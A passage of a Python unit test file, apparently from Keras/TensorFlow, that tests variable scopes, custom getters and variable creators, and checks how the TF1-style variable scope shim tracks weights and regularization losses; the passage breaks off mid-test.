def testReuseScopeWithoutNameScopeCollision(self):
# Github issue: #13429
with self.cached_session():
with tf.compat.v1.variable_scope("outer"):
with tf.compat.v1.variable_scope("inner") as inner:
pass
with tf.compat.v1.variable_scope(
inner, auxiliary_name_scope=False) as scope:
with tf.name_scope(scope.original_name_scope):
self.assertEqual(
tf.compat.v1.get_variable("w", []).name, "outer/inner/w:0")
with tf.compat.v1.variable_scope("another"):
with tf.compat.v1.variable_scope(
inner, auxiliary_name_scope=False) as scope1:
with tf.name_scope(scope1.original_name_scope):
self.assertEqual(
tf.compat.v1.get_variable("w1", []).name,
"outer/inner/w1:0")
@tf_test_utils.run_in_graph_and_eager_modes
@run_inside_wrap_function_in_eager_mode
def testGetVarWithDevice(self):
g = tf.Graph()
varname_type = []
def device_func(op):
if op.type in ["Variable", "VariableV2", "VarHandleOp"]:
varname_type.append((op.name, op.get_attr("dtype")))
return "/device:GPU:0"
with g.as_default():
with tf.compat.v1.device(device_func):
_ = tf.compat.v1.get_variable("x", (100, 200))
_ = tf.compat.v1.get_variable(
"y", dtype=tf.int64, initializer=numpy.arange(73))
self.assertEqual(varname_type[0], ("x", tf.float32))
self.assertEqual(varname_type[1], ("y", tf.int64))
@tf_test_utils.run_in_graph_and_eager_modes
@run_inside_wrap_function_in_eager_mode
def testGetVariableWithRefDtype(self):
v = tf.compat.v1.get_variable("v", shape=[3, 4], dtype=tf.float32)
# Ensure it is possible to do get_variable with a _ref dtype passed in.
_ = tf.compat.v1.get_variable("w", shape=[5, 6], dtype=v.dtype)
@tf_test_utils.run_in_graph_and_eager_modes
@run_inside_wrap_function_in_eager_mode
def testGetVariableWithInitializerWhichTakesNoArgs(self):
v = tf.compat.v1.get_variable("foo", initializer=lambda: [2])
self.assertEqual(v.name, "foo:0")
@tf_test_utils.run_in_graph_and_eager_modes
@run_inside_wrap_function_in_eager_mode
def testGetVariableWithInitializerWhichTakesOptionalArgs(self):
v = tf.compat.v1.get_variable("foo", initializer=lambda x=True: [2])
self.assertEqual(v.name, "foo:0")
@tf_test_utils.run_in_graph_and_eager_modes
@run_inside_wrap_function_in_eager_mode
def testTwoGraphs(self):
def f():
g1 = tf.Graph()
g2 = tf.Graph()
with g1.as_default():
with g2.as_default():
with tf.compat.v1.variable_scope("_"):
pass
self.assertRaisesRegex(ValueError,
"'_' is not a valid (?:root )?scope name", f)
class VariableScopeWithCustomGetterTest(tf.test.TestCase):
@tf_test_utils.run_in_graph_and_eager_modes
@run_inside_wrap_function_in_eager_mode
def testNonCallableGetterFails(self):
with self.assertRaisesRegex(ValueError, r"custom_getter .* not callable:"):
with tf.compat.v1.variable_scope("scope0", custom_getter=3):
tf.compat.v1.get_variable("name0")
with self.assertRaisesRegex(ValueError, r"custom_getter .* not callable:"):
tf.compat.v1.get_variable("name0", custom_getter=3)
@tf_test_utils.run_in_graph_and_eager_modes
@run_inside_wrap_function_in_eager_mode
def testNoSideEffectsWithIdentityCustomGetter(self):
called = [0]
def custom_getter(getter, *args, **kwargs):
called[0] += 1
return getter(*args, **kwargs)
with tf.compat.v1.variable_scope(
"scope", custom_getter=custom_getter) as scope:
v = tf.compat.v1.get_variable("v", [1])
with tf.compat.v1.variable_scope(scope, reuse=True):
v2 = tf.compat.v1.get_variable("v", [1])
with tf.compat.v1.variable_scope("new_scope") as new_scope:
v3 = tf.compat.v1.get_variable("v3", [1])
with tf.compat.v1.variable_scope(
new_scope, reuse=True, custom_getter=custom_getter):
v4 = tf.compat.v1.get_variable("v3", [1])
self.assertIs(v, v2)
self.assertIs(v3, v4)
self.assertEqual(3, called[0]) # skipped one in the first new_scope
@tf_test_utils.run_in_graph_and_eager_modes
@run_inside_wrap_function_in_eager_mode
def testSynchronizationAndAggregationWithCustomGetter(self):
called = [0]
synchronization = tf.VariableSynchronization.AUTO
aggregation = tf.compat.v1.VariableAggregation.NONE
def custom_getter(getter, *args, **kwargs):
called[0] += 1
# Verify synchronization and aggregation kwargs are as expected.
self.assertEqual(kwargs["synchronization"], synchronization)
self.assertEqual(kwargs["aggregation"], aggregation)
return getter(*args, **kwargs)
with tf.compat.v1.variable_scope("scope", custom_getter=custom_getter):
tf.compat.v1.get_variable("v", [1])
self.assertEqual(1, called[0])
with tf.compat.v1.variable_scope("scope", custom_getter=custom_getter):
synchronization = tf.VariableSynchronization.ON_READ
aggregation = tf.compat.v1.VariableAggregation.MEAN
tf.compat.v1.get_variable(
"v1", [1], synchronization=synchronization, aggregation=aggregation)
self.assertEqual(2, called[0])
@tf_test_utils.run_in_graph_and_eager_modes
@run_inside_wrap_function_in_eager_mode
def testVariableCreator(self):
variable_names = []
def creator_a(next_creator, **kwargs):
variable_names.append(kwargs.get("name", ""))
return next_creator(**kwargs)
def creator_b(next_creator, **kwargs):
kwargs["name"] = "forced_name"
return next_creator(**kwargs)
with tf.variable_creator_scope(creator_a):
with tf.variable_creator_scope(creator_b):
tf.compat.v1.Variable(1.0, name="one_name")
self.assertEqual(variable_names[0], "forced_name")
called = [False]
def creater_c(next_creator, **kwargs):
called[0] = True
self.assertEqual(kwargs["synchronization"],
tf.VariableSynchronization.ON_WRITE)
self.assertEqual(kwargs["aggregation"],
tf.compat.v1.VariableAggregation.MEAN)
return next_creator(**kwargs)
with tf.variable_creator_scope(creater_c):
tf.compat.v1.get_variable(
"v", [],
synchronization=tf.VariableSynchronization.ON_WRITE,
aggregation=tf.compat.v1.VariableAggregation.MEAN)
self.assertTrue(called[0])
@tf_test_utils.run_in_graph_and_eager_modes
@run_inside_wrap_function_in_eager_mode
def testVariableCreatorNestingError(self):
def creator(next_creator, **kwargs):
return next_creator(**kwargs)
# Save the state so we can clean up at the end.
graph = tf.compat.v1.get_default_graph()
old_creator_stack = graph._variable_creator_stack
try:
scope = tf.variable_creator_scope(creator)
scope.__enter__()
with tf.variable_creator_scope(creator):
with self.assertRaises(RuntimeError):
scope.__exit__(None, None, None)
finally:
graph._variable_creator_stack = old_creator_stack
class VariableScopeMultithreadedTest(tf.test.TestCase):
@tf_test_utils.run_in_graph_and_eager_modes
@run_inside_wrap_function_in_eager_mode
def testReenterMainScope(self):
def thread_fn(graph, main_thread_scope):
with graph.as_default():
# Variable created with main scope will have prefix "main".
with tf.compat.v1.variable_scope(main_thread_scope):
with tf.compat.v1.variable_scope("foo"):
v = tf.compat.v1.get_variable("v", [])
self.assertEqual("main/foo/v:0", v.name)
# Variable created outside main scope will not have prefix "main".
with tf.compat.v1.variable_scope("bar"):
v = tf.compat.v1.get_variable("v", [])
self.assertEqual("bar/v:0", v.name)
graph = tf.compat.v1.get_default_graph()
with tf.compat.v1.variable_scope("main") as main_thread_scope:
thread = threading.Thread(
target=thread_fn, args=(graph, main_thread_scope))
thread.start()
thread.join()
class CompatV1TemplateScaleByY(base_layer.Layer):
def __init__(self, **kwargs):
super().__init__(**kwargs)
def my_op(x, scalar_name):
var1 = tf.compat.v1.get_variable(
scalar_name,
shape=[],
regularizer=regularizers.L2(),
initializer=tf.compat.v1.constant_initializer(1.5))
return x * var1
self.scale_by_y = tf.compat.v1.make_template(
"scale_by_y", my_op, scalar_name="y")
@variable_scope_shim.track_tf1_style_variables
def call(self, inputs):
with tf.compat.v1.variable_scope("foo"):
return self.scale_by_y(inputs)
class VariableScopeModule(tf.Module):
"""Module that uses the shim."""
@variable_scope_shim.track_tf1_style_variables
def __call__(self, *args, **kwargs):
with self.name_scope:
return self.forward_pass(*args, **kwargs)
def get_compat_v1_regularization_losses(self):
"""Dict w/ regularization losses from `get_variable`&`compat.v1.layers`."""
return {name: regularizer() for name, regularizer
in self._tf1_style_var_store._regularizers.items()} # pylint: disable=protected-access
@test_combinations.generate(test_combinations.combine(mode=["eager"]))
class TF1VariableScopeLayerTest(tf.test.TestCase, parameterized.TestCase):
def test_get_variable(self):
# Test the shim when using `get_variable` (and regularizers) directly
class WrappedDenseLayer(base_layer.Layer):
def __init__(self, units, *args, **kwargs):
super().__init__(*args, **kwargs)
self.units = units
@variable_scope_shim.track_tf1_style_variables
def call(self, inputs, training=None):
out = inputs
with tf.compat.v1.variable_scope("dense_one"):
# The weights are created with a `regularizer`,
# so the layer should track their regularization losses
kernel = tf.compat.v1.get_variable(
shape=[out.shape[-1], self.units],
regularizer=regularizers.L2(),
initializer=tf.compat.v1.ones_initializer(),
name="kernel")
bias = tf.compat.v1.get_variable(
shape=[self.units,],
initializer=tf.compat.v1.zeros_initializer(),
name="bias")
out = tf.matmul(out, kernel)
out = tf.nn.bias_add(out, bias)
with tf.compat.v1.variable_scope("nested_scope"):
with tf.compat.v1.variable_scope("dense_two"):
kernel = tf.compat.v1.get_variable(
shape=[out.shape[-1], self.units],
regularizer=regularizers.L2(),
initializer=tf.compat.v1.ones_initializer(),
name="kernel")
bias = tf.compat.v1.get_variable(
shape=[self.units,],
initializer=tf.compat.v1.zeros_initializer(),
name="bias")
out = tf.matmul(out, kernel)
out = tf.nn.bias_add(out, bias)
return out
layer = WrappedDenseLayer(10)
out = layer(tf.ones(shape=(5, 5)))
weights = {x.name: x for x in layer.variables}
# Verify the correct output, regularization losses, + variables were made
self.assertEqual(weights.keys(), {"dense_one/bias:0",
"dense_one/kernel:0",
"nested_scope/dense_two/bias:0",
"nested_scope/dense_two/kernel:0"})
self.assertAllEqual(out, tf.ones(shape=(5, 10)) * 50)
self.assertAllEqual(tf.add_n(layer.losses), 1.5)
# Verify reuse by updating the variables then re-running
weights["dense_one/kernel:0"].assign(tf.ones(shape=(5, 10)) * 2)
weights["nested_scope/dense_two/kernel:0"].assign(
tf.ones(shape=(10, 10)) * 2)
out = layer(tf.ones(shape=(5, 5)))
self.assertAllEqual(out, tf.ones(shape=(5, 10)) * 200)
self.assertAllEqual(tf.add_n(layer.losses), 6)
def test_compat_v1_layer(self):
# Test the shim when using `compat.v1` layers
class WrappedDenseLayer(base_layer.Layer):
def __init__(self, units, *args, **kwargs):
super().__init__(*args, **kwargs)
self.units = units
@variable_scope_shim.track_tf1_style_variables
def call(self, inputs, training=None):
out = core_layers.dense(
inputs, self.units, name="dense_one",
kernel_initializer=tf.compat.v1.ones_initializer(),
kernel_regularizer="l2")
with tf.compat.v1.variable_scope("nested_scope"):
out = core_layers.dense(
out, self.units, name="dense_two",
kernel_initializer=tf.compat.v1.ones_initializer(),
kernel_regularizer="l2")
return out
layer = WrappedDenseLayer(10)
out = layer(tf.ones(shape=(5, 5)))
weights = {x.name: x for x in layer.variables}
# Verify the correct output, losses, + variables were made
self.assertEqual(weights.keys(), {"dense_one/bias:0",
"dense_one/kernel:0",
"nested_scope/dense_two/bias:0",
"nested_scope/dense_two/kernel:0"})
self.assertAllEqual(out, tf.ones(shape=(5, 10)) * 50)
self.assertAllEqual(tf.add_n(layer.losses), 1.5)
# Verify reuse by updating the variables then re-running
weights["dense_one/kernel:0"].assign(tf.ones(shape=(5, 10)) * 2)
weights["nested_scope/dense_two/kernel:0"].assign(
tf.ones(shape=(10, 10)) * 2)
out = layer(tf.ones(shape=(5, 5)))
self.assertAllEqual(out, tf.ones(shape=(5, 10)) * 200)
self.assertAllEqual(tf.add_n(layer.losses), 6)
def test_shim_exporting(self):
class WrappedDenseLayer(base_layer.Layer):
def __init__(self, units, *args, **kwargs):
super().__init__(*args, **kwargs)
self.units = units
@variable_scope_shim.track_tf1_style_variables
def call(self, inputs, training=None):
out = core_layers.dense(
inputs,
self.units,
name="dense_one",
kernel_initializer=tf.compat.v1.ones_initializer(),
kernel_regularizer="l2")
with tf.compat.v1.variable_scope("nested_scope"):
out = core_layers.dense(
out,
self.units,
name="dense_two",
kernel_initializer=tf.compat.v1.ones_initializer(),
kernel_regularizer="l2")
return out
layer = WrappedDenseLayer(10)
layer(tf.ones(shape=(5, 5)))
tmp_dir = self.get_temp_dir()
# Try exporting the layer directly
tf.saved_model.save(layer, tmp_dir)
# Try exporting the layer nested in a functional model
# This is where saving reflection gets tricky due to
# trying to replace the passed training arg in training=True
# and training=False modes
inp = input_layer_module.Input(shape=(5, 5))
outs = layer(inp)
model = models.Model(inp, outs)
tf.saved_model.save(model, tmp_dir)
def test_variable_store_scope_get_variable(self):
# Test the module shim when using `get_variable` (and regularizers) directly
class WrappedDenseLayer(tf.Module):
def __init__(self, units, *args, **kwargs):
super().__init__(*args, **kwargs)
self.units = units
self._variable_store = variable_scope_shim._EagerVariableStore()
def get_compat_v1_regularization_losses(self):
"""Dict w/ regularization losses from `get_variable`."""
return {name: regularizer() for name, regularizer
in self._variable_store._regularizers.items()} # pylint: disable=protected-access
def __call__(self, inputs, training=None):
with self._variable_store.scope():
out = inputs
with tf.compat.v1.variable_scope("dense_one"):
# The weights are created with a `regularizer`,
# so the layer should track their regularization losses
kernel = tf.compat.v1.get_variable(
shape=[out.shape[-1], self.units],
regularizer=regularizers.L2(),
initializer=tf.compat.v1.ones_initializer(),
name="kernel")
bias = tf.compat.v1.get_variable(
shape=[self.units,],
initializer=tf.compat.v1.zeros_initializer(),
name="bias")
out = tf.matmul(out, kernel)
out = tf.nn.bias_add(out, bias)
with tf.compat.v1.variable_scope("nested_scope"):
with tf.compat.v1.variable_scope("dense_two"):
kernel = tf.compat.v1.get_variable(
shape=[out.shape[-1], self.units],
regularizer=regularizers.L2(),
initializer=tf.compat.v1.ones_initializer(),
name="kernel")
bias = tf.compat.v1.get_variable(
shape=[self.units,],
initializer=tf.compat.v1.zeros_initializer(),
name="bias")
out = tf.matmul(out, kernel)
out = tf.nn.bias_add(out, bias)
return out
layer = WrappedDenseLayer(10)
out = layer(tf.ones(shape=(5, 5)))
weights = {x.name: x for x in layer.variables}
# Verify the correct output, regularization losses, + variables were made
self.assertEqual(weights.keys(), {"dense_one/bias:0",
"dense_one/kernel:0",
"nested_scope/dense_two/bias:0",
"nested_scope/dense_two/kernel:0"})
self.assertAllEqual(out, tf.ones(shape=(5, 10)) * 50)
self.assertAllEqual(
tf.add_n(layer.get_compat_v1_regularization_losses().values()), 1.5)
# Verify reuse by updating the variables then re-running
weights["dense_one/kernel:0"].assign(tf.ones(shape=(5, 10)) * 2)
weights["nested_scope/dense_two/kernel:0"].assign(
tf.ones(shape=(10, 10)) * 2)
out = layer(tf.ones(shape=(5, 5)))
self.assertAllEqual(out, tf.ones(shape=(5, 10)) * 200)
self.assertAllEqual(
tf.add_n(layer.get_compat_v1_regularization_losses().values()), 6)
def test_module_get_variable(self):
# Test the module shim when using `get_variable` (and regularizers) directly
class WrappedDenseLayer(VariableScopeModule):
def __init__(self, units, *args, **kwargs):
super().__init__(*args, **kwargs)
self.units = units
def forward_pass(self, inputs, training=None):
out = inputs
with tf.compat.v1.variable_scope("dense_one"):
# The weights are created with a `regularizer`,
# so the layer should track their regularization losses
kernel = tf.compat.v1.get_variable(
shape=[out.shape[-1], self.units],
regularizer=regularizers.L2(),
initializer=tf.compat.v1.ones_initializer(),
name="kernel")
bias = tf.compat.v1.get_variable(
shape=[self.units,],
initializer=tf.compat.v1.zeros_initializer(),
name="bias")
out = tf.matmul(out, kernel)
out = tf.nn.bias_add(out, bias)
with tf.compat.v1.variable_scope("nested_scope"):
with tf.compat.v1.variable_scope("dense_two"):
kernel = tf.compat.v1.get_variable(
shape=[out.shape[-1], self.units],
regularizer=regularizers.L2(),
initializer=tf.compat.v1.ones_initializer(),
name="kernel")
bias = tf.compat.v1.get_variable(
shape=[self.units,],
initializer=tf.compat.v1.zeros_initializer(),
name="bias")
out = tf.matmul(out, kernel)
out = tf.nn.bias_add(out, bias)
return out
layer = WrappedDenseLayer(10)
out = layer(tf.ones(shape=(5, 5)))
weights = {x.name: x for x in layer.variables}
# Verify the correct output, regularization losses, + variables were made
self.assertEqual(weights.keys(), {"dense_one/bias:0",
"dense_one/kernel:0",
"nested_scope/dense_two/bias:0",
"nested_scope/dense_two/kernel:0"})
self.assertAllEqual(out, tf.ones(shape=(5, 10)) * 50)
self.assertAllEqual(
tf.add_n(layer.get_compat_v1_regularization_losses().values()), 1.5)
# Verify reuse by updating the variables then re-running
weights["dense_one/kernel:0"].assign(tf.ones(shape=(5, 10)) * 2)
weights["nested_scope/dense_two/kernel:0"].assign(
tf.ones(shape=(10, 10)) * 2)
out = layer(tf.ones(shape=(5, 5)))
self.assertAllEqual(out, tf.ones(shape=(5, 10)) * 200)
self.assertAllEqual(
tf.add_n(layer.get_compat_v1_regularization_losses().values()), 6)
def test_module_compat_v1_layer(self):
# Test the module shim when using `compat.v1` layers
class WrappedDenseLayer(VariableScopeModule):
def __init__(self, units, *args, **kwargs):
super().__init__(*args, **kwargs)
self.units = units
def forward_pass(self, inputs, training=None):
out = core_layers.dense(
inputs, self.units, name="dense_one",
kernel_initializer=tf.compat.v1.ones_initializer(),
kernel_regularizer="l2")
with tf.compat.v1.variable_scope("nested_scope"):
out = core_layers.dense(
out, self.units, name="dense_two",
kernel_initializer=tf.compat.v1.ones_initializer(),
kernel_regularizer="l2")
return out
layer = WrappedDenseLayer(10)
out = layer(tf.ones(shape=(5, 5)))
weights = {x.name: x for x in layer.variables}
# Verify the correct output, losses, + variables were made
self.assertEqual(weights.keys(), {"dense_one/bias:0",
"dense_one/kernel:0",
"nested_scope/dense_two/bias:0",
"nested_scope/dense_two/kernel:0"})
self.assertAllEqual(out, tf.ones(shape=(5, 10)) * 50)
self.assertAllEqual(tf.add_n(
layer.get_compat_v1_regularization_losses().values()), 1.5)
# Verify reuse by updating the variables then re-running
weights["dense_one/kernel:0"].assign(tf.ones(shape=(5, 10)) * 2)
weights["nested_scope/dense_two/kernel:0"].assign(
tf.ones(shape=(10, 10)) * 2)
out = layer(tf.ones(shape=(5, 5)))
self.assertAllEqual(out, tf.ones(shape=(5, 10)) * 200)
self.assertAllEqual(tf.add_n(
layer.get_compat_v1_regularization_losses().values()), 6)
def test_shim_nesting(self):
# Test that nesting the shim in itself works
class NestedLayer(base_layer.Layer):
def __init__(self, units, name, *args, **kwargs):
super().__init__(*args, name=name, **kwargs)
self.units = units
@variable_scope_shim.track_tf1_style_variables
def call(self, inputs):
out = inputs
with tf.compat.v1.variable_scope(self.name):
# The weights are created with a `regularizer`,
# so the layer should track their regularization losses
kernel = tf.compat.v1.get_variable(
shape=[out.shape[-1], self.units],
regularizer=regularizers.L2(1.0),
initializer=tf.compat.v1.ones_initializer(),
name="kernel")
bias = tf.compat.v1.get_variable(
shape=[self.units,],
initializer=tf.compat.v1.initializers.zeros,
name="bias")
out = tf.linalg.matmul(out, kernel)
out = tf.compat.v1.nn.bias_add(out, bias)
return out
class WrappedDenseLayer(base_layer.Layer):
def __init__(self, units, **kwargs):
super().__init__(**kwargs)
self.units = units
self.dense_layer_a = None
self.dense_layer_b = None
@variable_scope_shim.track_tf1_style_variables
def call(self, inputs):
# Only create the nested tf.variable/module/layer/model if it has not
# already been created!
if not self.dense_layer_a:
self.dense_layer_a = NestedLayer(self.units * 2, "dense_one")
out = self.dense_layer_a(inputs)
if not self.dense_layer_b:
self.dense_layer_b = NestedLayer(self.units, "dense_two")
out = self.dense_layer_b(out)
return out
layer = WrappedDenseLayer(5)
out = layer(tf.ones(shape=(1, 3)))
weights = {x.name: x for x in layer.variables}
# Verify the correct output, losses, + variables were made
# (Specifically: no double-counting of any weights or reg. losses
# between nested components!)
self.assertEqual({var.name for var in layer.trainable_weights},
{"dense_one/bias:0",
"dense_one/kernel:0",
"dense_two/bias:0",
"dense_two/kernel:0"})
self.assertEqual({var.name for var in layer.dense_layer_a.weights},
{"dense_one/bias:0",
"dense_one/kernel:0"})
self.assertEqual({var.name for var in layer.dense_layer_b.weights},
{"dense_two/bias:0",
"dense_two/kernel:0"})
self.assertAllEqual(out, tf.ones(shape=(1, 5)) * 30)
self.assertAllEqual(tf.add_n(layer.dense_layer_a.losses), 30)
self.assertAllEqual(tf.add_n(layer.dense_layer_b.losses), 50)
self.assertAllEqual(tf.add_n(layer.losses), 80)
# Verify reuse by updating the variables then re-running
weights["dense_one/kernel:0"].assign(tf.ones(shape=(3, 10)) * 2)
weights["dense_two/kernel:0"].assign(
tf.ones(shape=(10, 5)) * 2)
out = layer(tf.ones(shape=(1, 3)))
self.assertAllEqual(out, tf.ones(shape=(1, 5)) * 120)
self.assertAllEqual(tf.add_n(layer.losses), 320)
def test_compat_v1_make_template_in_shim_eager(self):
# Test the shim when using `compat.v1.make_template`
# Verify it works correctly in eager
layer = CompatV1TemplateScaleByY()
for _ in range(3):
# Use multiple calls to verify that no new weights get created
self.assertAllEqual(layer(tf.ones(shape=(2, 3))),
tf.constant(1.5, shape=(2, 3)))
self.assertAllEqual({var.name: var.numpy() for var in layer.weights},
{"foo/scale_by_y/y:0": 1.5})
self.assertAllEqual(tf.add_n(layer.losses),
regularizers.L2()(layer.weights[0]))
def test_compat_v1_make_template_in_shim_tf_function(self):
# Test the shim when using `compat.v1.make_template`
# Verify it works correctly in a tf.function
# when made outside the function
layer = CompatV1TemplateScaleByY()
@tf.function
def foo(x):
return layer(x), tf.add_n(layer.losses)
for _ in range(3):
# Use multiple calls to verify that no new weights get created
out, loss = foo(tf.ones(shape=(2, 3)))
self.assertAllEqual(out, tf.constant(1.5, shape=(2, 3)))
self.assertAllEqual(loss, regularizers.L2()(layer.weights[0]))
self.assertAllEqual({var.name: var.numpy() for var in layer.weights},
{"foo/scale_by_y/y:0": 1.5})
def test_compat_v1_make_template_in_trace_in_shim(self):
# Test the shim when using `compat.v1.make_template`
# Verify it works correctly when the make_template/layer/shim
# is created on the first tf.function trace!
layers = {}
@tf.function
def bar(x):
if "layer" not in layers:
layers["layer"] = CompatV1TemplateScaleByY()
layer = layers["layer"]
return layer(x), tf.add_n(layer.losses)
for _ in range(3):
# Use multiple calls to verify that no new weights get created
out, loss = bar(tf.ones(shape=(2, 3)))
self.assertAllEqual(out, tf.constant(1.5, shape=(2, 3)))
self.assertAllEqual(loss, regularizers.L2()(layers["layer"].weights[0]))
self.assertAllEqual(
{var.name: var.numpy() for var in layers["layer"].weights},
{"foo/scale_by_y/y:0": 1.5})
def test_only_track_get_variable(self):
# Test the shim does not try tracking or reusing variables
# that were not created by get_variable. These variables/modules/layers
# need to be tracked separately
class WrappedDenseLayer(base_layer.Layer):
def __init__(self, units, **kwargs):
super().__init__(**kwargs)
self.units = units
self._dense_model = None
@variable_scope_shim.track_tf1_style_variables
def call(self, inputs):
dense_layer = core.Dense(
self.units, name="dense",
kernel_initializer=tf.compat.v1.ones_initializer(),
kernel_regularizer="l2")
return dense_layer(inputs)
layer = WrappedDenseLayer(10)
out = layer(tf.ones(shape=(5, 5)))
self.assertAllEqual(out, tf.ones(shape=(5, 10)) * 5)
self.assertEmpty(layer.weights)
def test_embedded_keras_model(self):
# Test the shim when embedding a Keras model inside of it
# And assigning the model to an attribute
class WrappedDenseLayer(base_layer.Layer):
def __init__(self, units, **kwargs):
super().__init__(**kwargs)
self.units = units
self._dense_model = None
@variable_scope_shim.track_tf1_style_variables
def call(self, inputs):
if not self._dense_model:
inp = input_layer_module.Input(shape=inputs.shape)
dense_layer = core.Dense(
self.units, name="dense",
kernel_initializer=tf.compat.v1.ones_initializer(),
kernel_regularizer="l2")
self._dense_model = training_module.Model(
inputs=inp, outputs=dense_layer(inp))
return self._dense_model(inputs)
layer = WrappedDenseLayer(10)
out = layer(tf.ones(shape=(5, 5)))
weights = {x.name: x for x in layer.variables}
# Verify the correct output, losses, + variables were made
self.assertEqual(weights.keys(), {"dense/bias:0",
"dense/kernel:0"})
self.assertAllEqual(out, tf.ones(shape=(5, 10)) * 5)
self.assertAllEqual(tf.add_n(layer.losses), 0.5)
# Verify reuse by updating the variables then re-running
weights["dense/kernel:0"].assign(
tf.ones(shape=(5, 10)) * 2)
out = layer(tf.ones(shape=(5, 5)))
self.assertAllEqual(out, tf.ones(shape=(5, 10)) * 10)
self.assertAllEqual(tf.add_n(layer.losses), 2)
def test_embedded_keras_model_in_module(self):
# Test the module shim when embedding a Keras model inside of it
# And assigning the model to an attribute
class WrappedDenseLayer(VariableScopeModule):
def __init__(self, units, **kwargs):
super().__init__(**kwargs)
self.units = units
self._dense_model = None
def forward_pass(self, inputs):
if not self._dense_model:
inp = input_layer_module.Input(shape=inputs.shape)
dense_layer = core.Dense(
self.units, name="dense",
kernel_initializer=tf.compat.v1.ones_initializer(),
kernel_regularizer="l2")
self._dense_model = training_module.Model(
inputs=inp, outputs=dense_layer(inp))
return self._dense_model(inputs)
layer = WrappedDenseLayer(10)
out = layer(tf.ones(shape=(5, 5)))
weights = {x.name: x for x in layer.variables}
# Verify the correct output, losses, + variables were made
self.assertEqual(weights.keys(), {"dense/bias:0",
"dense/kernel:0"})
self.assertAllEqual(out, tf.ones(shape=(5, 10)) * 5)
# The module shim will only track regularization losses made by
# compat.v1.layers and compat.v1.get_variable. Other regularization
# losses must be tracked by separate user-created mechanisms.
self.assertEmpty(layer.get_compat_v1_regularization_losses())
# Verify reuse by updating the variables then re-running
weights["dense/kernel:0"].assign(
tf.ones(shape=(5, 10)) * 2)
out = layer(tf.ones(shape=(5, 5)))
self.assertAllEqual(out, tf.ones(shape=(5, 10)) * 10)
# The module shim will only track regularization losses made by
# compat.v1.layers and compat.v1.get_variable. Other regularization
# losses must be tracked by separate user-created mechanisms.
self.assertEmpty(layer.get_compat_v1_regularization_losses())
def test_training_arg(self):
# Test the shim when passing in a Keras `training` arg
class TrainingCheckLayer(base_layer.Layer):
def __init__(self, units, *args, **kwargs):
super().__init__(*args, **kwargs)
self.units = units
@variable_scope_shim.track_tf1_style_variables
def call(self, inputs, training=None):
if training:
out = core_layers.dense(inputs, self.units, name="dense_training")
else:
out = core_layers.dense(inputs, self.units, name="dense_no_training")
return out
layer = TrainingCheckLayer(10)
layer(tf.ones(shape=(5, 5)), training=True)
weights = {x.name: x for x in layer.variables}
# Verify the correct variables were made
self.assertEqual(weights.keys(),
{"dense_training/bias:0", "dense_training/kernel:0"})
layer = TrainingCheckLayer(10)
layer(tf.ones(shape=(5, 5)))
weights = {x.name: x for x in layer.variables}
# Verify the correct variables were made
self.assertEqual(weights.keys(),
{"dense_no_training/bias:0", "dense_no_training/kernel:0"})
def test_incorrect_decoration(self):
# Raise an error if you incorrectly decorate a method
# that is not a method of a Module, layer, or model:
@variable_scope_shim.track_tf1_style_variables
def foo(x):
return x * 2
with self.assertRaisesRegex(ValueError, "does not extend"):
foo(tf.ones(shape=(4, 4)))
class GetOrCreateLayerTest(tf.test.TestCase, parameterized.TestCase):
@test_combinations.generate(test_combinations.combine(mode=["eager"]))
def test_get_or_create_layer_with_regularizer_eager(self):
class NestedLayer(base_layer.Layer):
def __init__(self, units, *args, **kwargs):
super().__init__(*args, **kwargs)
self.units = units
def build_model(self):
inp = input_layer_module.Input(shape=(5, 5))
dense_layer = core.Dense(
10, name="dense", kernel_regularizer="l2",
kernel_initializer=tf.compat.v1.ones_initializer())
model = training_module.Model(inputs=inp, outputs=dense_layer(inp))
return model
@variable_scope_shim.track_tf1_style_variables
def call(self, inputs):
# enter a variable scope to check module key naming
with tf.compat.v1.variable_scope("test_scope"):
model = variable_scope_shim.get_or_create_layer(
"dense_model", self.build_model)
return model(inputs)
layer = NestedLayer(10)
x = tf.ones(shape=(5, 5))
out1 = layer(tf.expand_dims(x, 0))
model1 = layer.submodules[0]._layers["test_scope/dense_model"]
out2 = layer(tf.expand_dims(x, 0))
# Verify model produces same output on successive calls with same input
self.assertAllEqual(out1, out2)
# Verify the model used on subsequent calls is the same
model2 = layer.submodules[0]._layers["test_scope/dense_model"]
self.assertIs(model1, model2)
# Verify that stored layer computes outputs and losses correctly
weights = {x.name: x for x in layer.variables}
self.assertEqual(weights.keys(), {"dense/bias:0", "dense/kernel:0"})
self.assertAllEqual(out2, tf.ones(shape=(1, 5, 10)) * 5)
self.assertAllEqual(layer.losses, [0.5])
@test_combinations.generate(test_combinations.combine(mode=["eager"]))
def test_get_or_create_layer_no_regularizer_eager(self):
class NestedLayer(base_layer.Layer):
def __init__(self, units, *args, **kwargs):
super().__init__(*args, **kwargs)
self.units = units
def build_model(self):
inp = input_layer_module.Input(shape=(5, 5))
dense_layer = core.Dense(
10, name="dense",
kernel_initializer=tf.compat.v1.ones_initializer())
model = training_module.Model(inputs=inp, outputs=dense_layer(inp))
return model
@variable_scope_shim.track_tf1_style_variables
def call(self, inputs):
# enter a variable scope to check module key naming
with tf.compat.v1.variable_scope("test_scope"):
model = variable_scope_shim.get_or_create_layer(
"dense_model", self.build_model)
return model(inputs)
layer = NestedLayer(10)
x = tf.ones(shape=(5, 5))
out1 = layer(tf.expand_dims(x, 0))
model1 = layer.submodules[0]._layers["test_scope/dense_model"]
out2 = layer(tf.expand_dims(x, 0))
# Verify model produces same output on successive calls with same input
self.assertAllEqual(out1, out2)
# Verify the model used on subsequent calls is the same
model2 = layer.submodules[0]._layers["test_scope/dense_model"]
self.assertIs(model1, model2)
# Verify that stored layer computes outputs and losses correctly
weights = {x.name: x for x in layer.variables}
self.assertEqual(weights.keys(), {"dense/bias:0", "dense/kernel:0"})
self.assertAllEqual(out2, tf.ones(shape=(1, 5, 10)) * 5)
self.assertAllEqual(layer.losses, [0.0])
@test_combinations.generate(test_combinations.combine(mode=["eager"]))
def test_get_or_create_layer_tf_function(self):
class NestedLayer(base_layer.Layer):
def __init__(self, units, *args, **kwargs):
super().__init__(*args, **kwargs)
self.units = units
def build_model(self):
inp = input_layer_module.Input(shape=(5, 5))
dense_layer = core.Dense(
10, name="dense", kernel_regularizer="l2",
)
model = training_module.Model(inputs=inp, outputs=dense_layer(inp))
return model
@variable_scope_shim.track_tf1_style_variables
def call(self, inputs):
model = variable_scope_shim.get_or_create_layer(
"dense_model", self.build_model)
return model(inputs)
layer = NestedLayer(10)
@tf.function
def foo(x):
return layer(x), tf.add_n(layer.losses)
# Verify inner model is reused
